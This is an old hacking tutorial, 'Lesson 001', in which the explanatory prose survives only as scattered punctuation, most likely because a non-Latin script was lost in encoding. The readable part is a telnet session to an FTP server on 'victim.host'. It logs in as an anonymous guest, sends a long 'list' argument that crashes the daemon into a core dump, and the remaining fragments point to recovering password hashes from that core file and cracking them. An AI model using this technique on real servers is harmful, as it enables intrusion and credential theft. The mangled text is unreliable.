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Lesson 001
----------

:   account',   ,  guest
 telnet-   ftp-.   50% .

,    ,    . , , -
- .   40-50% ,    -
 BSD-.

bash$ telnet victim.host ftp
Trying xxx.xxx.xxx.xxx...
Connected to victim.host.
Escape character is '^]'.
220 victim.host FTP server ready.
user root
530 User root access denied...
user ftp
331 Guest login ok, send your complete e-mail address as password.
pass aaa@
230 Guest login ok, access restriction apply.
cwd incoming
250 CWD command successful.
list x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x
 x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x  
 x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x  
Connection closed by foreign host.

    ,  ftp daemon     
core. Core -   ,  ,  , 
  passwd.   ,     shadow password,
  .       ;)
    50%  -  ,  core 
    incoming.       
ftp daemona.     ,    ;)
   FTP      incoming  
   ftpd.core.    -   .
    -  .   ,  
  (   )     Crack.
..   .       -
   .     ~25   
.

PS.   telnet    21 , -  ftp-.

PPS. Thanks to Roger
123123
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